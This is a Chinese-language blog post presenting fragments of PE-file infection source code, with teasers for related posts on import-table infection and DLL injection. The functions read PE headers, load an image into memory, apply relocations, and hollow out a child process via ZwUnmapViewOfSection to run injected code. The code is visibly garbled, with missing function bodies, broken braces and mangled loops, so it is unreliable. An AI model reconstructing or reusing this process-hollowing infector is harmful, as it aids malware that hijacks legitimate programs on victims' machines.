PE檔案感染

2021-06-14 10:18:32 字數 2665 閱讀 1728

最近學習了一下pe檔案,看了份pe檔案感染原始碼,分析了一下,其實就是修改程序,拋磚引玉

本來想把整個**發下,但是太大了,只發函式的

#/讀取檔案pe資訊

bool readpeinfo(file* fp,mzheader* outmz,pe_header* outpe,pe_extheader* outpexh,sectionheader** outsechdr)

//讀取pe擴充套件頭資訊,不必移動指標

pe_extheader pexh;

fread(&pexh,sizeof(pe_extheader),1,fp);

//讀取節表頭資訊,節表頭為乙個陣列

sectionheader* sechdr=new sectionheader[peh.numsections];

fread(sechdr,sizeof(sectionheader)*peh.numsections,1,fp);

*outmz=mzh;

*outpe=peh;

*outpexh=pexh;

*outsechdr=sechdr;

return true;

}//經典的區塊分配函式

dword aligndata(dword dwsize,dword dwalign)

計算檔案在記憶體中大小,其實就是可選頭中sizeofimage;

int calctotalimagesize(mzheader* inmz,pe_header* inpe,pe_extheader* inpexh,sectionheader* insechdr)

return result;

}///將母體檔案匯入記憶體

bool loadpe(file* fp,mzheader* inmz,pe_header* inpe,pe_extheader* inpexh,sectionheader* insechdr,lpvoid ptrloc)

}unsigned long readsize;

//將母體檔案頭讀取到記憶體中

readsize=fread(outptr,1,headsize,fp);

if(readsize!=headsize)

//移動記憶體指標

outptr+=aligndata(headsize,inpexh->sectionalignment);

///將各個節匯入記憶體

for(int n=0;inumsections;i++)

//移動檔案指標到各節開始

fseek(fp,insechdr[i].pointertorawdata,seek_set);

//將此節匯入記憶體

readsize=fread(outptr,1,toread,fp);

if(readsize!=toread)

//移動記憶體位址

outptr+=aligndata(toread,inpexh->sectionalignment);

}//如果此值為空,則以在記憶體中大小為準

else}}

return true;

}//自定位重定位結構體

struct fixupblock

;///進行基址重定位

void dorelocation(mzheader* inmz,pe_header* inpe,pe_extheader* inpexh,sectionheader* insechdr,lpvoid ptrloc,dword newbase)

//使offsetptr指向下乙個重定位資料項

offsetptr++;

}fixblk=(fixupblock*)offsetptr;}}

}bool hasrelocationtable(pe_extheader* inpexh)

return false;

}//定義感染程式資訊結構體

typedef struct _procinfo

procinfo;

//建立感染子程式

bool createchild(process_information pi,pcontext ctx,procinfo* outchild)

curadd+=meminfo.regionsize;

}//計算子程式匯入記憶體後的大小

outchild->imagesize=curadd-outchild->baseaddr;

}return false;

}typedef dword (winapi* ptrzwunmapviewofsection)(in handle processhandle,in pvoid baseaddress);

//進行感染

void dofork(mzheader* inmz,pe_header* inpe,pe_extheader* inpexh,sectionheader* insechdr,lpvoid ptrloc,dword imagesize)}}

//如果需要重定位,則進行重定位

if(!v &&hasrelocationtable(inpexh))

}if(v)

else

}else}}

}int main(int argc, char* argv)

else

fclose(fp);}}

else

return 0;}

分享到:

PE檔案感染雜談

pe檔案規定了可執行檔案的格式,凡是符合此格式的檔案都能在windows系統上執行。pe檔案的格式暫且不談,說一些感染pe檔案的幾種途徑。匯入表感染。這個涉及比較複雜的操作,首先,要自行寫乙個dll檔案,提供程式中對原dll引用的所有函式,然後增加乙個節區,修改importaddress中的位址,使...

感染PE檔案的乙個簡單例項

感染pe檔案的乙個簡單例項 code include addcode.a addcode.a 就是你要寫入檔案中的 為了使他能夠正確執行,有乙個重定位的問題,這個到後面再講。以上開啟要感染的檔案並將它對映到記憶體中去,沒什麼好講的。如果不會用,可以查微軟的msdn中的api參考。下面開始分析pe格式...

屠夫科普 感染PE增加匯入項實現注入

上篇文章 屠夫話題 關於mmrpg型輔助相對通用框架的討論 承諾放出原始碼分享.今天實現.之前有朋友說此方法還不夠通用.原因有個別國外遊戲會啟動後,對自身載入的所有檔案進行hash效驗,不過它可以檢測自帶的檔案.難道連系統檔案也效驗.先判斷當前系統.再取得微軟的效驗碼?這強度未免太大了吧.我乙個人實...